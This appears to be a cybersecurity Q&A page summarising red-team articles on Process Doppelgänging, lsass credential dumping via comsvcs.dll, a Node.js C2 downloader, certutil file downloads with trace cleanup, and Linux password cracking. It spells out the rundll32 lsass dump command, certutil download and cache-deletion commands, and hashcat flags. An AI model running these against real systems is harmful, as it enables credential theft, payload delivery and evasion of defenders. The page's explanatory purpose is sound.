Cybersecurity Q&A

Browse concise answers derived from our published, source-linked cybersecurity coverage.

What limitations does Process Doppelgänging have in practical exploitation?

One limitation is that it requires file replacement, so targeting files under system32 like calc.exe may fail due to insufficient permissions even for administrators. Additionally, on Windows 10 systems before RS3, a null pointer bug in `NtCreateProcessEx` can cause a blue screen. Attackers often store the payload in a buffer (fileless) to avoid writing to disk, as described in the exploitation approach in the [Introduction to Process Doppelganging Exploitation](/news/introduction-to-process-doppelganging-exploitation).

What are the key steps to implement Process Doppelgänging?

First, create an NTFS transaction using `NtCreateTransaction`. Then, fill the transaction with the payload using `CreateFileTransacted` and `NtCreateSection`. Next, launch the payload as a process with `NtCreateProcessEx` and `NtCreateThreadEx`. Finally, roll back the transaction with `NtRollbackTransaction` to clean traces. This sequence makes the payload invisible to security products during execution. Details are covered in the [Introduction to Process Doppelganging Exploitation](/news/introduction-to-process-doppelganging-exploitation).

What is Process Doppelgänging and how does it differ from Process Hollowing?

Process Doppelgänging is a code injection technique that uses NTFS transactions to launch a payload within a legitimate process, similar to Process Hollowing but without needing a suspended process or explicit memory unmapping. It avoids special memory operations like `SuspendProcess` and `NtUnmapViewOfSection`, making it harder to detect. For a deeper introduction, see the full article on [Introduction to Process Doppelganging Exploitation](/news/introduction-to-process-doppelganging-exploitation).

How can I automate scanning all DLLs in the Windows directory for export functions like MiniDumpW?

A PowerShell script can recursively traverse `C:\Windows`, obtain each DLL's absolute path, and use a function like `Get-Exports` (from the PowerShell-Suite) to list export function names. The article provides a script that filters for `MiniDumpW` and other exports. It handles the path format issue by stripping the `Microsoft.PowerShell.Core\FileSystem::` prefix. The complete script is shared on GitHub. This technique is useful for discovering alternative DLLs for [lateral movement or privilege escalation](/news/penetration-basics-minio-version-detection-1).

What are the architecture considerations when using comsvcs.dll to dump a process?

The architecture of the DLL must match the target process. For a **32-bit** process, both 32-bit (e.g., `C:\Windows\Syswow64\comsvcs.dll`) and 64-bit DLLs can be used. For a **64-bit** process, only 64-bit DLLs (e.g., `C:\Windows\system32\comsvcs.dll`) are suitable; using a 32-bit DLL will fail. This is important when targeting lsass.exe (typically 64-bit on modern systems). The winsxs folder contains additional copies of comsvcs.dll for both architectures. Similar compatibility checks apply when using [other exploitation techniques](/news/java-exploitation-techniques-jetty-servlet-type-memory-shell).

What other Windows system DLLs beside comsvcs.dll contain MiniDump-related exports?

The automated scan described in the article found that **dbghelp.dll** also exports `MiniDumpWriteDump` and `MiniDumpReadDumpStream`, and various **SOS.dll** files (from .NET Framework) export `MinidumpMode`. The scan identified multiple copies of comsvcs.dll in the winsxs directory as well. This shows that attackers could potentially use dbghelp.dll for similar purposes. The PowerShell script used to find these is available on GitHub and is similar to techniques used in [memory dumping via .NET assemblies](/news/analysis-of-exploitation-techniques-for-loading-net-assemblies-from-memory-assembly-load).

Why does rundll32 comsvcs.dll fail to dump lsass when run from cmd but succeed from PowerShell?

The `rundll32` method relies on the **SeDebugPrivilege** permission. Even with administrator privileges, cmd starts with this privilege set to **Disabled**, so the API call fails. PowerShell, when launched as administrator, has the privilege set to **Enabled** by default, allowing the dump to succeed. You can bypass this by wrapping the rundll32 command in a PowerShell one-liner or by using a VBS/C program that explicitly enables the privilege. This is a common nuance in [exploitation testing](/news/exploitation-testing-of-minidumpwritedump-via-com-services-dll).

How can I use comsvcs.dll to dump the memory of lsass.exe for credential extraction?

You can run `rundll32 C:\windows\system32\comsvcs.dll, MiniDump <PID> <output.dmp> full` to dump the lsass process. However, this requires the **SeDebugPrivilege** permission. Under cmd with administrator rights, the privilege is disabled by default, so the command will fail. Instead, execute it via PowerShell (`powershell -c "rundll32 ..."`) because PowerShell enables SeDebugPrivilege by default under admin context. For more details, see the [original article](/news/exploitation-testing-of-minidumpwritedump-via-com-services-dll).

What Node.js modules are essential for implementing the server and client in the article's Downloader?

The essential modules are `http` for creating the server and making client requests, `querystring` for parsing and stringifying POST data, and `child_process` for executing system commands on the client side. The article also uses `fs` for file operations and `zlib` for compression. No third-party packages are used—only the built-in Node.js modules. For a deeper dive into this technique, refer to the original article: [Node.js in Penetration Testing - Implementation of a Downloader](/news/node-js-in-penetration-testing-implementation-of-a-downloader).

How does the article's Downloader (C2) communicate between the server and client, and what information does the client send?

The server listens on a specified port and parses POST data, while the client connects periodically, sending system information such as the hostname and operating system version. The server can then respond with control commands, which the client executes using `child_process.exec`. If no command is received, the client sleeps for a set interval before retrying. This mirrors command-and-control patterns discussed in [Penetration Techniques - Deletion and Bypass of Windows Logs](/news/penetration-techniques-deletion-and-bypass-of-windows-logs).

What synchronization challenge does the article encounter when building a periodic HTTP client in Node.js, and how is it resolved?

Node.js is asynchronous by nature, so a simple `while` loop with a `sleep` function does not work because HTTP requests are non-blocking and callbacks are deferred. The article solves this by using method nesting: after a request completes (or after a timeout), the next request is called recursively, ensuring sequential execution. This approach avoids the need for third-party modules like `async`. For more on bypassing logs during persistence, see [Penetration Basics - Bypassing SSH Logs](/news/penetration-basics-bypassing-ssh-logs).

How does the article implement a file dropper using Node.js, and what techniques are used to reduce payload size?

The file dropper works by base64 encoding an executable file and storing the encoded string, then decoding and writing it back at runtime. To reduce the payload size, the author also demonstrates using gzip compression with `zlib.createGzip()` and decompression with `zlib.createGunzip()`, leveraging Node.js streams via `pipe()`. This approach is similar to techniques used in [Volume Shadow Copy in Penetration Testing](/news/volume-shadow-copy-in-penetration-testing) for stealthy file manipulation.

What is the key difference between Node.js and JavaScript as highlighted in the article?

JavaScript is a programming language, while Node.js is a JavaScript runtime environment built on Chrome's V8 engine. Although both use .js file extensions on Windows, they have different syntax and execution environments—Node.js runs server-side and supports file system operations, HTTP modules, and third-party packages via npm. For more on using Node.js in offensive security, see the full article: [Node.js in Penetration Testing - Implementation of a Downloader](/news/node-js-in-penetration-testing-implementation-of-a-downloader).

What other common downloader methods exist besides certutil in cmd?

Common cmd downloader methods include PowerShell, csc, VBS, JScript, hta, bitsadmin, wget, debug, ftp, and ftfp. Each has its own strengths and weaknesses, but certutil is often preferred for its simplicity and native availability across Windows versions. For a detailed comparison, refer to the related article [certutil in Penetration Testing](/news/certutil-in-penetration-testing).

How does certutil handle base64 encoding and decoding?

certutil provides simple commands: `CertUtil -encode InFile OutFile` for base64 encoding and `CertUtil -decode InFile OutFile` for decoding. The encoded output includes a header `-----BEGIN CERTIFICATE-----` and footer `-----END CERTIFICATE-----`. This method is useful for transferring binary files safely in scripts. For other base64 methods, see the compilation in [certutil in Penetration Testing](/news/certutil-in-penetration-testing).

Why is it important to clear the cache after using certutil as a downloader?

When using certutil to download files, a copy is saved in the cache directory at `%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content`. This leaves forensic traces that can be detected by defenders. To clear evidence, you can either delete the files manually or run `certutil.exe -urlcache -split -f <URL> delete`. Related cleanup techniques are discussed in [Penetration Techniques - Clearing Single Records in RecentFileCache.bcf and Amcache.hve](/news/penetration-techniques-clearing-single-records-in-recentfilecache-bcf-and-amcache-hve).

How can certutil.exe be used as a downloader in penetration testing?

certutil.exe can download files using the `-urlcache -split -f` flags, followed by the URL. For example, `certutil.exe -urlcache -split -f https://example.com/file.txt` saves the file with the same name, or you can specify a custom filename. It also supports binary files like DLLs and works on Windows XP through Windows 10. For more details, see [certutil in Penetration Testing](/news/certutil-in-penetration-testing).

What is mimipenguin and how does it relate to extracting Linux passwords?

Mimipenguin is a tool that extracts plaintext passwords from a Linux system's memory, similar to how Mimikatz works on Windows for [Windows password hashes](/news/introduction-to-windows-password-hashes-ntlm-hash-and-net-ntlm-hash). It targets processes like SSH or GNOME keyring to retrieve credentials without needing to crack the hash. This technique bypasses hash cracking entirely, as explained in the [Linux Password Hashes article](/news/linux-password-hashes-technical-overview-of-encryption-methods-and-cracking-techniques).

What tools and methods are commonly used to crack Linux password hashes?

Common tools include John the Ripper and hashcat, both available on Kali Linux. Cracking methods are primarily dictionary attacks (using a wordlist like `/usr/share/john/password.lst`) and brute-force attacks that iterate through character combinations. For example, hashcat uses `-m 1800` for SHA-512 hashes and `-a 3` for brute-force. John the Ripper can also automatically detect the hash type. Full command examples are provided in the [Linux Password Hashes article](/news/linux-password-hashes-technical-overview-of-encryption-methods-and-cracking-techniques).

Why are rainbow table attacks ineffective against Linux password hashes?

Rainbow tables rely on precomputed hash tables for unsalted passwords. Linux password hashes include a unique, random salt for each user, which alters the final hash even if two users share the same password. This salt renders precomputed tables useless, forcing attackers to use dictionary or brute-force attacks. The [Linux Password Hashes article](/news/linux-password-hashes-technical-overview-of-encryption-methods-and-cracking-techniques) explains how the salt is embedded in the hash format (e.g., `$6$C/vGzhVe$`).